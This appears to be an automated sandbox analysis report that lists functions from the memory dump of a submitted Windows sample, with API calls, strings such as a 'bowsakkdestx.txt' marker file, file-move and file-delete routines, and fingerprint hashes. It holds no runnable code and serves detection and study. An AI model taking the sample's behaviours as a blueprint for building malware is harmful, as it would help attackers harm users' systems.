U, xrefs: 0042535D

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006E0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: 241cfa4299846a07ecc57268e606ba0db0d865f968b84549374c8695ce3f7968
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: 241cfa4299846a07ecc57268e606ba0db0d865f968b84549374c8695ce3f7968
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006E0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006E0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

